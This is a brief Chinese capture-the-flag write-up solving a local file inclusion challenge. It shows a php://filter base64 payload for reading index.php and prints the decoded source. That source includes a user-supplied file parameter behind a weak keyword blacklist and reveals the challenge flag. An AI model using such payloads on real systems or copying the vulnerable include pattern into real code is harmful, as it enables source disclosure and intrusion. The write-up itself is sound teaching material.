明显的文件包含漏洞的格式网址，通过php://filter读取index源码-->php://filter/read=convert.base64-encode/resource=index.php
如下
再进行base64解码即可
<html> <title>asdf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag:nctf{edulcni_elif_lacol_si_siht} ?> </html>